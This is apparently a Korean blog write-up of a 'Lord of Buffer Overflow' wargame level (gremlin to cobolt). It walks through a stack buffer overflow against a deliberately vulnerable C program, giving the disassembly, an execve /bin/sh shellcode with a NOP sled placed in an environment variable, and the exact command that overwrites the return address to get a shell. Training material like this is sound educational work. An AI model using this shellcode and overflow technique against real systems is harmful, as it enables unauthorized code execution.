728x90

gremlin / hello bof world

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

buffer의 크기가 작아진 것이 gremlin 문제와의 차이점이다.

Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,16
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x80484d0
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	push   %edx
0x804845c <main+44>:	lea    %eax,[%ebp-16]  //buffer주소 ebp-16
0x804845f <main+47>:	push   %eax
0x8048460 <main+48>:	call   0x8048370 <strcpy>
0x8048465 <main+53>:	add    %esp,8
0x8048468 <main+56>:	lea    %eax,[%ebp-16]
0x804846b <main+59>:	push   %eax
0x804846c <main+60>:	push   0x80484dc

strcpy의 인자로 들어가는 것을 보아 ebp-16이 buffer의 주소다.

ebp-16부터 16 bytes가 buffer의 공간이다. 이어서 sfp (4 bytes)가 존재하고 이어서 retn (4 bytes)가 존재한다. retn을 쉘 코드의 주소로 덮어쓸 것이다.

쉘 코드를 환경 변수로 등록하고 아래의 코드를 이용해서 환경 변수의 주소를 알아낸다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}

cobolt의 인자로 전달하면 끝이다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x90\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ my-pass
euid = 502
hacking exposed
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gate -> gremlin  (0) 2023.01.21

+ Recent posts